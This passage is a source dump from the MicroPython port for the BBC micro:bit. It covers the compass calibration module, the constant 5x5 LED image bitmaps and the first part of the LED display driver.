OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "microbit/memory.h" #include "microbit/microbitdal.h" extern "C" { #include "py/runtime.h" #include "lib/ticker.h" #include "microbit/modmicrobit.h" #define COMPASS_CALIBRATION_MAGIC (0xc011ba55) typedef struct _microbit_compass_obj_t { mp_obj_base_t base; } microbit_compass_obj_t; void microbit_compass_init(void) { // load any peristent calibration data if it exists uint32_t *persist = (uint32_t*)microbit_compass_calibration_page(); if (persist[0] == COMPASS_CALIBRATION_MAGIC) { CompassCalibration calib; calib.centre = {(int)persist[1], (int)persist[2], (int)persist[3]}; calib.scale = {(int)persist[4], (int)persist[5], (int)persist[6]}; calib.radius = (int)persist[7]; ubit_compass->setCalibration(calib); } } mp_obj_t microbit_compass_is_calibrated(mp_obj_t self_in) { (void)self_in; return mp_obj_new_bool(ubit_compass->isCalibrated()); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_compass_is_calibrated_obj, microbit_compass_is_calibrated); mp_obj_t microbit_compass_calibrate(mp_obj_t self_in) { // Calibration requires to pass control over to the DAL so it // can use the display to collect samples for the calibration. // It will do the calibration and then return here. (void)self_in; ticker_stop(); //uBit.systemTicker.attach_us(&uBit, &MicroBit::systemTick, MICROBIT_DEFAULT_TICK_PERIOD * 1000); TODO what to replace with? ubit_display.enable(); ubit_compass->calibrate(); ubit_display.disable(); //uBit.systemTicker.detach(); TODO what to replace with? ticker_start(); microbit_display_init(); // store the calibration data uint32_t *persist = (uint32_t*)microbit_compass_calibration_page(); CompassCalibration calib = ubit_compass->getCalibration(); uint32_t data[8] = { COMPASS_CALIBRATION_MAGIC, (uint32_t)calib.centre.x, (uint32_t)calib.centre.y, (uint32_t)calib.centre.z, (uint32_t)calib.scale.x, (uint32_t)calib.scale.y, (uint32_t)calib.scale.z, (uint32_t)calib.radius, }; persistent_erase_page(persist); persistent_write_unchecked(persist, data, sizeof(data)); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_1(microbit_compass_calibrate_obj, microbit_compass_calibrate); mp_obj_t microbit_compass_clear_calibration(mp_obj_t self_in) { (void)self_in; ubit_compass->clearCalibration(); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_1(microbit_compass_clear_calibration_obj, microbit_compass_clear_calibration); volatile bool compass_up_to_date = false; volatile bool compass_updating = false; static void update(microbit_compass_obj_t *self) { /* The only time it is possible for compass_updating to be true here * is if this is called in an interrupt when it is already updating in * the main execution thread. This is extremely unlikely, so we just * accept that a slightly out-of-date result will be returned */ (void)self; if (!compass_up_to_date && !compass_updating) { compass_updating = true; ubit_compass->idleTick(); compass_updating = false; compass_up_to_date = true; } } mp_obj_t microbit_compass_heading(mp_obj_t self_in) { microbit_compass_obj_t *self = (microbit_compass_obj_t*)self_in; // Upon calling heading(), the DAL will automatically calibrate the compass // if it's not already calibrated. Since we need to first enable the display // for calibration to work, we must check for non-calibration here and call // our own calibration function. if (!ubit_compass->isCalibrated()) { microbit_compass_calibrate(self_in); } update(self); return mp_obj_new_int(ubit_compass->heading()); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_compass_heading_obj, microbit_compass_heading); mp_obj_t microbit_compass_get_x(mp_obj_t self_in) { (void)self_in; return mp_obj_new_int(ubit_compass->getX()); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_compass_get_x_obj, microbit_compass_get_x); mp_obj_t microbit_compass_get_y(mp_obj_t self_in) { (void)self_in; return mp_obj_new_int(ubit_compass->getY()); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_compass_get_y_obj, microbit_compass_get_y); mp_obj_t microbit_compass_get_z(mp_obj_t self_in) { (void)self_in; return mp_obj_new_int(ubit_compass->getZ()); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_compass_get_z_obj, microbit_compass_get_z); mp_obj_t microbit_compass_get_field_strength(mp_obj_t self_in) { (void)self_in; return mp_obj_new_int(ubit_compass->getFieldStrength()); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_compass_get_field_strength_obj, microbit_compass_get_field_strength); STATIC const mp_map_elem_t microbit_compass_locals_dict_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR_heading), (mp_obj_t)µbit_compass_heading_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_is_calibrated), (mp_obj_t)µbit_compass_is_calibrated_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_calibrate), (mp_obj_t)µbit_compass_calibrate_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_clear_calibration), (mp_obj_t)µbit_compass_clear_calibration_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_get_x), (mp_obj_t)µbit_compass_get_x_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_get_y), (mp_obj_t)µbit_compass_get_y_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_get_z), (mp_obj_t)µbit_compass_get_z_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_get_field_strength), (mp_obj_t)µbit_compass_get_field_strength_obj }, }; STATIC MP_DEFINE_CONST_DICT(microbit_compass_locals_dict, microbit_compass_locals_dict_table); STATIC const mp_obj_type_t microbit_compass_type = { { &mp_type_type }, .name = MP_QSTR_MicroBitCompass, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = NULL, .binary_op = NULL, .attr = NULL, .subscr = NULL, .getiter = NULL, .iternext = NULL, .buffer_p = {NULL}, .protocol = NULL, .parent = NULL, .locals_dict = (mp_obj_dict_t*)µbit_compass_locals_dict, }; const microbit_compass_obj_t microbit_compass_obj = { {µbit_compass_type}, }; } ================================================ FILE: micropython/source/microbit/microbitconstimage.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ extern "C" { #include "py/runtime.h" #include "microbit/modmicrobit.h" #include "microbit/microbit_image.h" #define IMAGE_T const monochrome_5by5_t IMAGE_T microbit_const_image_heart_obj = SMALL_IMAGE( 0,1,0,1,0, 1,1,1,1,1, 1,1,1,1,1, 0,1,1,1,0, 0,0,1,0,0 ); IMAGE_T microbit_const_image_heart_small_obj = SMALL_IMAGE( 0,0,0,0,0, 0,1,0,1,0, 0,1,1,1,0, 0,0,1,0,0, 0,0,0,0,0 ); // smilies IMAGE_T microbit_const_image_happy_obj = SMALL_IMAGE( 0,0,0,0,0, 0,1,0,1,0, 0,0,0,0,0, 1,0,0,0,1, 0,1,1,1,0 ); IMAGE_T microbit_const_image_smile_obj = SMALL_IMAGE( 0,0,0,0,0, 0,0,0,0,0, 0,0,0,0,0, 1,0,0,0,1, 0,1,1,1,0 ); IMAGE_T microbit_const_image_sad_obj = SMALL_IMAGE( 0,0,0,0,0, 0,1,0,1,0, 0,0,0,0,0, 0,1,1,1,0, 1,0,0,0,1 ); IMAGE_T microbit_const_image_confused_obj = SMALL_IMAGE( 0,0,0,0,0, 0,1,0,1,0, 0,0,0,0,0, 0,1,0,1,0, 1,0,1,0,1 ); IMAGE_T microbit_const_image_angry_obj = SMALL_IMAGE( 1,0,0,0,1, 0,1,0,1,0, 0,0,0,0,0, 1,1,1,1,1, 1,0,1,0,1 ); IMAGE_T microbit_const_image_asleep_obj = SMALL_IMAGE( 0,0,0,0,0, 1,1,0,1,1, 0,0,0,0,0, 0,1,1,1,0, 0,0,0,0,0 ); IMAGE_T microbit_const_image_surprised_obj = SMALL_IMAGE( 0,1,0,1,0, 0,0,0,0,0, 0,0,1,0,0, 0,1,0,1,0, 0,0,1,0,0 ); IMAGE_T microbit_const_image_silly_obj = SMALL_IMAGE( 1,0,0,0,1, 0,0,0,0,0, 1,1,1,1,1, 0,0,1,0,1, 0,0,1,1,1 ); IMAGE_T microbit_const_image_fabulous_obj = SMALL_IMAGE( 1,1,1,1,1, 1,1,0,1,1, 0,0,0,0,0, 0,1,0,1,0, 0,1,1,1,0 ); IMAGE_T microbit_const_image_meh_obj = SMALL_IMAGE( 0,1,0,1,0, 0,0,0,0,0, 0,0,0,1,0, 0,0,1,0,0, 0,1,0,0,0 ); // yes/no IMAGE_T microbit_const_image_yes_obj = SMALL_IMAGE( 0,0,0,0,0, 0,0,0,0,1, 0,0,0,1,0, 1,0,1,0,0, 0,1,0,0,0 ); IMAGE_T microbit_const_image_no_obj = SMALL_IMAGE( 1,0,0,0,1, 0,1,0,1,0, 0,0,1,0,0, 0,1,0,1,0, 1,0,0,0,1 ); // clock hands IMAGE_T microbit_const_image_clock12_obj = SMALL_IMAGE( 0,0,1,0,0, 0,0,1,0,0, 0,0,1,0,0, 0,0,0,0,0, 0,0,0,0,0 ); IMAGE_T microbit_const_image_clock1_obj = SMALL_IMAGE( 0,0,0,1,0, 0,0,0,1,0, 0,0,1,0,0, 0,0,0,0,0, 0,0,0,0,0 ); IMAGE_T microbit_const_image_clock2_obj = SMALL_IMAGE( 0,0,0,0,0, 0,0,0,1,1, 0,0,1,0,0, 0,0,0,0,0, 0,0,0,0,0 ); IMAGE_T microbit_const_image_clock3_obj = SMALL_IMAGE( 0,0,0,0,0, 0,0,0,0,0, 0,0,1,1,1, 0,0,0,0,0, 0,0,0,0,0 ); IMAGE_T microbit_const_image_clock4_obj = SMALL_IMAGE( 0,0,0,0,0, 0,0,0,0,0, 0,0,1,0,0, 0,0,0,1,1, 0,0,0,0,0 ); IMAGE_T microbit_const_image_clock5_obj = SMALL_IMAGE( 0,0,0,0,0, 0,0,0,0,0, 0,0,1,0,0, 0,0,0,1,0, 0,0,0,1,0 ); IMAGE_T microbit_const_image_clock6_obj = SMALL_IMAGE( 0,0,0,0,0, 0,0,0,0,0, 0,0,1,0,0, 0,0,1,0,0, 0,0,1,0,0 ); IMAGE_T microbit_const_image_clock7_obj = SMALL_IMAGE( 0,0,0,0,0, 0,0,0,0,0, 0,0,1,0,0, 0,1,0,0,0, 0,1,0,0,0 ); IMAGE_T microbit_const_image_clock8_obj = SMALL_IMAGE( 0,0,0,0,0, 0,0,0,0,0, 0,0,1,0,0, 1,1,0,0,0, 0,0,0,0,0 ); IMAGE_T microbit_const_image_clock9_obj = SMALL_IMAGE( 0,0,0,0,0, 0,0,0,0,0, 1,1,1,0,0, 0,0,0,0,0, 0,0,0,0,0 ); IMAGE_T microbit_const_image_clock10_obj = SMALL_IMAGE( 0,0,0,0,0, 1,1,0,0,0, 0,0,1,0,0, 0,0,0,0,0, 0,0,0,0,0 ); IMAGE_T microbit_const_image_clock11_obj = SMALL_IMAGE( 0,1,0,0,0, 0,1,0,0,0, 0,0,1,0,0, 0,0,0,0,0, 0,0,0,0,0 ); // arrows IMAGE_T microbit_const_image_arrow_n_obj = SMALL_IMAGE( 0,0,1,0,0, 0,1,1,1,0, 1,0,1,0,1, 0,0,1,0,0, 0,0,1,0,0 ); IMAGE_T microbit_const_image_arrow_ne_obj = SMALL_IMAGE( 0,0,1,1,1, 0,0,0,1,1, 0,0,1,0,1, 0,1,0,0,0, 1,0,0,0,0 ); IMAGE_T microbit_const_image_arrow_e_obj = SMALL_IMAGE( 0,0,1,0,0, 0,0,0,1,0, 1,1,1,1,1, 0,0,0,1,0, 0,0,1,0,0 ); IMAGE_T microbit_const_image_arrow_se_obj = SMALL_IMAGE( 1,0,0,0,0, 0,1,0,0,0, 0,0,1,0,1, 0,0,0,1,1, 0,0,1,1,1 ); IMAGE_T microbit_const_image_arrow_s_obj = SMALL_IMAGE( 0,0,1,0,0, 0,0,1,0,0, 1,0,1,0,1, 0,1,1,1,0, 0,0,1,0,0 ); IMAGE_T microbit_const_image_arrow_sw_obj = SMALL_IMAGE( 0,0,0,0,1, 0,0,0,1,0, 1,0,1,0,0, 1,1,0,0,0, 1,1,1,0,0 ); IMAGE_T microbit_const_image_arrow_w_obj = SMALL_IMAGE( 0,0,1,0,0, 0,1,0,0,0, 1,1,1,1,1, 0,1,0,0,0, 0,0,1,0,0 ); IMAGE_T microbit_const_image_arrow_nw_obj = SMALL_IMAGE( 1,1,1,0,0, 1,1,0,0,0, 1,0,1,0,0, 0,0,0,1,0, 0,0,0,0,1 ); // geometry IMAGE_T microbit_const_image_triangle_obj = SMALL_IMAGE( 0,0,0,0,0, 0,0,1,0,0, 0,1,0,1,0, 1,1,1,1,1, 0,0,0,0,0 ); IMAGE_T microbit_const_image_triangle_left_obj = SMALL_IMAGE( 1,0,0,0,0, 1,1,0,0,0, 1,0,1,0,0, 1,0,0,1,0, 1,1,1,1,1 ); IMAGE_T microbit_const_image_chessboard_obj = SMALL_IMAGE( 0,1,0,1,0, 1,0,1,0,1, 0,1,0,1,0, 1,0,1,0,1, 0,1,0,1,0 ); IMAGE_T microbit_const_image_diamond_obj = SMALL_IMAGE( 0,0,1,0,0, 0,1,0,1,0, 1,0,0,0,1, 0,1,0,1,0, 0,0,1,0,0 ); IMAGE_T microbit_const_image_diamond_small_obj = SMALL_IMAGE( 0,0,0,0,0, 0,0,1,0,0, 0,1,0,1,0, 0,0,1,0,0, 0,0,0,0,0 ); IMAGE_T microbit_const_image_square_obj = SMALL_IMAGE( 1,1,1,1,1, 1,0,0,0,1, 1,0,0,0,1, 1,0,0,0,1, 1,1,1,1,1 ); IMAGE_T microbit_const_image_square_small_obj = SMALL_IMAGE( 0,0,0,0,0, 0,1,1,1,0, 0,1,0,1,0, 0,1,1,1,0, 0,0,0,0,0 ); // animals IMAGE_T microbit_const_image_rabbit = SMALL_IMAGE( 1,0,1,0,0, 1,0,1,0,0, 1,1,1,1,0, 1,1,0,1,0, 1,1,1,1,0 ); IMAGE_T microbit_const_image_cow = SMALL_IMAGE( 1,0,0,0,1, 1,0,0,0,1, 1,1,1,1,1, 0,1,1,1,0, 0,0,1,0,0 ); // musical notes IMAGE_T microbit_const_image_music_crotchet_obj = SMALL_IMAGE( 0,0,1,0,0, 0,0,1,0,0, 0,0,1,0,0, 1,1,1,0,0, 1,1,1,0,0 ); IMAGE_T microbit_const_image_music_quaver_obj = SMALL_IMAGE( 0,0,1,0,0, 0,0,1,1,0, 0,0,1,0,1, 1,1,1,0,0, 1,1,1,0,0 ); IMAGE_T microbit_const_image_music_quavers_obj = SMALL_IMAGE( 0,1,1,1,1, 0,1,0,0,1, 0,1,0,0,1, 1,1,0,1,1, 1,1,0,1,1 ); // other icons IMAGE_T microbit_const_image_pitchfork_obj = SMALL_IMAGE( 1,0,1,0,1, 1,0,1,0,1, 1,1,1,1,1, 0,0,1,0,0, 0,0,1,0,0 ); IMAGE_T microbit_const_image_xmas_obj = SMALL_IMAGE( 0,0,1,0,0, 0,1,1,1,0, 0,0,1,0,0, 0,1,1,1,0, 1,1,1,1,1 ); IMAGE_T microbit_const_image_pacman_obj = SMALL_IMAGE( 0,1,1,1,1, 1,1,0,1,0, 1,1,1,0,0, 1,1,1,1,0, 0,1,1,1,1 ); IMAGE_T microbit_const_image_target_obj = SMALL_IMAGE( 0,0,1,0,0, 0,1,1,1,0, 1,1,0,1,1, 0,1,1,1,0, 0,0,1,0,0 ); /* The following images were designed by Abbie Brooks. */ IMAGE_T microbit_const_image_tshirt_obj = SMALL_IMAGE( 1,1,0,1,1, 1,1,1,1,1, 0,1,1,1,0, 0,1,1,1,0, 0,1,1,1,0 ); IMAGE_T microbit_const_image_rollerskate_obj = SMALL_IMAGE( 0,0,0,1,1, 0,0,0,1,1, 1,1,1,1,1, 1,1,1,1,1, 0,1,0,1,0 ); IMAGE_T microbit_const_image_duck_obj = SMALL_IMAGE( 0,1,1,0,0, 1,1,1,0,0, 0,1,1,1,1, 0,1,1,1,0, 0,0,0,0,0 ); IMAGE_T microbit_const_image_house_obj = SMALL_IMAGE( 0,0,1,0,0, 0,1,1,1,0, 1,1,1,1,1, 0,1,1,1,0, 0,1,0,1,0 ); IMAGE_T microbit_const_image_tortoise_obj = SMALL_IMAGE( 0,0,0,0,0, 0,1,1,1,0, 1,1,1,1,1, 0,1,0,1,0, 0,0,0,0,0 ); IMAGE_T microbit_const_image_butterfly_obj = SMALL_IMAGE( 1,1,0,1,1, 1,1,1,1,1, 0,0,1,0,0, 1,1,1,1,1, 1,1,0,1,1 ); IMAGE_T microbit_const_image_stickfigure_obj = SMALL_IMAGE( 0,0,1,0,0, 1,1,1,1,1, 0,0,1,0,0, 0,1,0,1,0, 1,0,0,0,1 ); IMAGE_T microbit_const_image_ghost_obj = SMALL_IMAGE( 1,1,1,1,1, 1,0,1,0,1, 1,1,1,1,1, 1,1,1,1,1, 1,0,1,0,1 ); IMAGE_T microbit_const_image_sword_obj = SMALL_IMAGE( 0,0,1,0,0, 0,0,1,0,0, 0,0,1,0,0, 0,1,1,1,0, 0,0,1,0,0 ); IMAGE_T microbit_const_image_giraffe_obj = SMALL_IMAGE( 1,1,0,0,0, 0,1,0,0,0, 0,1,0,0,0, 0,1,1,1,0, 0,1,0,1,0 ); IMAGE_T microbit_const_image_skull_obj = SMALL_IMAGE( 0,1,1,1,0, 1,0,1,0,1, 1,1,1,1,1, 0,1,1,1,0, 0,1,1,1,0 ); IMAGE_T microbit_const_image_umbrella_obj = SMALL_IMAGE( 0,1,1,1,0, 1,1,1,1,1, 0,0,1,0,0, 1,0,1,0,0, 0,1,1,0,0 ); IMAGE_T microbit_const_image_snake_obj = SMALL_IMAGE( 1,1,0,0,0, 1,1,0,1,1, 0,1,0,1,0, 0,1,1,1,0, 0,0,0,0,0 ); } ================================================ FILE: micropython/source/microbit/microbitconstimagetuples.c ================================================ /* * The MIT License (MIT) * * Copyright (c) 2015 Mark Shannon * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/runtime.h" #include "microbit/modmicrobit.h" const mp_obj_tuple_t microbit_const_image_all_clocks_tuple_obj = { {&mp_type_tuple}, .len = 12, .items = { (mp_obj_t)µbit_const_image_clock12_obj, (mp_obj_t)µbit_const_image_clock1_obj, (mp_obj_t)µbit_const_image_clock2_obj, (mp_obj_t)µbit_const_image_clock3_obj, (mp_obj_t)µbit_const_image_clock4_obj, (mp_obj_t)µbit_const_image_clock5_obj, (mp_obj_t)µbit_const_image_clock6_obj, (mp_obj_t)µbit_const_image_clock7_obj, (mp_obj_t)µbit_const_image_clock8_obj, (mp_obj_t)µbit_const_image_clock9_obj, (mp_obj_t)µbit_const_image_clock10_obj, (mp_obj_t)µbit_const_image_clock11_obj } }; const mp_obj_tuple_t microbit_const_image_all_arrows_tuple_obj = { {&mp_type_tuple}, .len = 8, .items = { (mp_obj_t)µbit_const_image_arrow_n_obj, (mp_obj_t)µbit_const_image_arrow_ne_obj, (mp_obj_t)µbit_const_image_arrow_e_obj, (mp_obj_t)µbit_const_image_arrow_se_obj, (mp_obj_t)µbit_const_image_arrow_s_obj, (mp_obj_t)µbit_const_image_arrow_sw_obj, (mp_obj_t)µbit_const_image_arrow_w_obj, (mp_obj_t)µbit_const_image_arrow_nw_obj } }; ================================================ FILE: micropython/source/microbit/microbitdisplay.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "nrf_gpio.h" #include "MicroBitDisplay.h" #include "MicroBitLightSensor.h" extern "C" { #include "py/runtime.h" #include "py/gc.h" #include "py/objstr.h" #include "lib/iters.h" #include "lib/ticker.h" #include "microbit/modmicrobit.h" #include "microbit/microbit_image.h" #define min(a,b) (((a)<(b))?(a):(b)) #define ASYNC_MODE_STOPPED 0 #define ASYNC_MODE_ANIMATION 1 #define ASYNC_MODE_CLEAR 2 typedef struct _microbit_display_obj_t { mp_obj_base_t base; uint8_t image_buffer[5][5]; uint8_t previous_brightness; bool active; /* Current row for strobing */ uint8_t strobe_row; /* boolean histogram of brightness in buffer */ uint16_t brightnesses; uint16_t pins_for_brightness[MAX_BRIGHTNESS+1]; void advanceRow(); inline void setPinsForRow(uint8_t brightness); } microbit_display_obj_t; void microbit_display_show(microbit_display_obj_t *display, microbit_image_obj_t *image) { mp_int_t w = min(image->width(), 5); mp_int_t h = min(image->height(), 5); mp_int_t x = 0; mp_int_t brightnesses = 0; for (; x < w; ++x) { mp_int_t y = 0; for (; y < h; ++y) { uint8_t pix = image->getPixelValue(x, y); display->image_buffer[x][y] = pix; brightnesses |= (1 << pix); } for (; y < 5; ++y) { display->image_buffer[x][y] = 0; } } for (; x < 5; ++x) { for (mp_int_t y = 0; y < 5; ++y) { display->image_buffer[x][y] = 0; } } display->brightnesses = brightnesses; } #define DEFAULT_PRINT_SPEED 400 mp_obj_t microbit_display_show_func(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) { // Cancel any animations. MP_STATE_PORT(async_data)[0] = NULL; MP_STATE_PORT(async_data)[1] = NULL; static const mp_arg_t show_allowed_args[] = { { MP_QSTR_image, MP_ARG_REQUIRED | MP_ARG_OBJ, {.u_obj = MP_OBJ_NULL} }, { MP_QSTR_delay, MP_ARG_INT, {.u_int = DEFAULT_PRINT_SPEED} }, { MP_QSTR_clear, MP_ARG_KW_ONLY | MP_ARG_BOOL, {.u_bool = false} }, { MP_QSTR_wait, MP_ARG_KW_ONLY | MP_ARG_BOOL, {.u_bool = true} }, { MP_QSTR_loop, MP_ARG_KW_ONLY | MP_ARG_BOOL, {.u_bool = false} }, }; // Parse the args. microbit_display_obj_t *self = (microbit_display_obj_t*)pos_args[0]; mp_arg_val_t args[MP_ARRAY_SIZE(show_allowed_args)]; mp_arg_parse_all(n_args - 1, pos_args + 1, kw_args, MP_ARRAY_SIZE(show_allowed_args), show_allowed_args, args); mp_obj_t image = args[0].u_obj; mp_int_t delay = args[1].u_int; bool clear = args[2].u_bool; bool wait = args[3].u_bool; bool loop = args[4].u_bool; // Convert to string from an integer or float if applicable if (mp_obj_is_integer(image) || mp_obj_is_float(image)) { image = mp_obj_str_make_new(&mp_type_str, 1, 0, &image); } if (MP_OBJ_IS_STR(image)) { // arg is a string object mp_uint_t len; const char *str = mp_obj_str_get_data(image, &len); if (len == 0) { // There are no chars; do nothing. return mp_const_none; } else if (len == 1) { if (!clear && !loop) { // A single char; convert to an image and print that. image = microbit_image_for_char(str[0]); goto single_image_immediate; } } image = microbit_string_facade(image); } else if (mp_obj_get_type(image) == µbit_image_type) { if (!clear && !loop) { goto single_image_immediate; } image = mp_obj_new_tuple(1, &image); } // iterable: if (args[4].u_bool) { /*loop*/ image = microbit_repeat_iterator(image); } microbit_display_animate(self, image, delay, clear, wait); return mp_const_none; single_image_immediate: microbit_display_show(self, (microbit_image_obj_t *)image); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_KW(microbit_display_show_obj, 1, microbit_display_show_func); static uint8_t async_mode; static mp_obj_t async_iterator = NULL; // Record if an error occurs in async animation. Unfortunately there is no way to report this. static volatile bool wakeup_event = false; static mp_uint_t async_delay = 1000; static mp_uint_t async_tick = 0; static bool async_clear = false; STATIC void async_stop(void) { async_iterator = NULL; async_mode = ASYNC_MODE_STOPPED; async_tick = 0; async_delay = 1000; async_clear = false; MP_STATE_PORT(async_data)[0] = NULL; MP_STATE_PORT(async_data)[1] = NULL; wakeup_event = true; } STATIC void wait_for_event() { while (!wakeup_event) { // allow CTRL-C to stop the animation if (MP_STATE_VM(mp_pending_exception) != MP_OBJ_NULL) { async_stop(); return; } __WFI(); } wakeup_event = false; } struct DisplayPoint { uint8_t x; uint8_t y; }; #define NO_CONN 0 #define ROW_COUNT 3 #define COLUMN_COUNT 9 static const DisplayPoint display_map[COLUMN_COUNT][ROW_COUNT] = { {{0,0}, {4,2}, {2,4}}, {{2,0}, {0,2}, {4,4}}, {{4,0}, {2,2}, {0,4}}, {{4,3}, {1,0}, {0,1}}, {{3,3}, {3,0}, {1,1}}, {{2,3}, {3,4}, {2,1}}, {{1,3}, {1,4}, {3,1}}, {{0,3}, {NO_CONN,NO_CONN}, {4,1}}, {{1,2}, {NO_CONN,NO_CONN}, {3,2}} }; #define MIN_COLUMN_PIN 4 #define COLUMN_PINS_MASK 0x1ff0 #define MIN_ROW_PIN 13 #define MAX_ROW_PIN 15 #define ROW_PINS_MASK 0xe000 inline void microbit_display_obj_t::setPinsForRow(uint8_t brightness) { if (brightness == 0) { nrf_gpio_pins_clear(COLUMN_PINS_MASK & ~this->pins_for_brightness[brightness]); } else { nrf_gpio_pins_set(this->pins_for_brightness[brightness]); } } /* This is the primary PWM driver/display driver. It will operate on one row * (9 pins) per invocation. It will turn on LEDs with maximum brightness, * then let the "callback" callback turn off the LEDs as appropriate for the * required brightness level. * * For each row * Turn off all the LEDs in the previous row * Set the column bits high (off) * Set the row strobe low (off) * Turn on all the LEDs in the current row that have maximum brightness * Set the row strobe high (on) * Set some/all column bits low (on) * Register the PWM callback * For each callback start with brightness 0 * If brightness 0 * Turn off the LEDs specified at this level * Else * Turn on the LEDs specified at this level * If brightness max * Disable the PWM callback * Else * Re-queue the PWM callback after the appropriate delay */ void microbit_display_obj_t::advanceRow() { /* Clear all of the column bits */ nrf_gpio_pins_set(COLUMN_PINS_MASK); /* Clear the strobe bit for this row */ nrf_gpio_pin_clear(strobe_row+MIN_ROW_PIN); /* Move to the next row. Before this, "this row" refers to the row * manipulated by the previous invocation of this function. After this, * "this row" refers to the row manipulated by the current invocation of * this function. */ strobe_row++; // Reset the row counts and bit mask when we have hit the max. if (strobe_row == ROW_COUNT) { strobe_row = 0; } // Set pin for this row. // Prepare row for rendering. for (int i = 0; i <= MAX_BRIGHTNESS; i++) { pins_for_brightness[i] = 0; } for (int i = 0; i < COLUMN_COUNT; i++) { int x = display_map[i][strobe_row].x; int y = display_map[i][strobe_row].y; uint8_t brightness = microbit_display_obj.image_buffer[x][y]; pins_for_brightness[brightness] |= (1<<(i+MIN_COLUMN_PIN)); } /* Enable the strobe bit for this row */ nrf_gpio_pin_set(strobe_row+MIN_ROW_PIN); /* Enable the column bits for all pins that need to be on. */ nrf_gpio_pins_clear(pins_for_brightness[MAX_BRIGHTNESS]); } static const uint16_t render_timings[] = // The scale is (approximately) exponential, // each step is approx x1.9 greater than the previous. { 0, // Bright, Ticks Duration, Relative power 2, // 1, 2, 32µs, inf 2, // 2, 4, 64µs, 200% 4, // 3, 8, 128µs, 200% 7, // 4, 15, 240µs, 187% 13, // 5, 28, 448µs, 187% 25, // 6, 53, 848µs, 189% 49, // 7, 102, 1632µs, 192% 97, // 8, 199, 3184µs, 195% // Always on 9, 375, 6000µs, 188% }; #define DISPLAY_TICKER_SLOT 1 enum { LIGHT_SENSOR_IDLE, LIGHT_SENSOR_REQUEST_SAMPLE, LIGHT_SENSOR_TAKING_SAMPLE, LIGHT_SENSOR_HAVE_SAMPLE, }; static MicroBitLightSensor *light_sensor_obj = NULL; static volatile uint8_t light_sensor_state = LIGHT_SENSOR_IDLE; static uint32_t light_sensor_last_reading_time = 0; static int light_sensor_read(void) { // Create the light-sensor object if it doesn't yet exist if (light_sensor_obj == NULL) { light_sensor_obj = new MicroBitLightSensor(microbitMatrixMap); } // Depending on time since last call, take 1, 2 or 3 readings int n; uint32_t time = 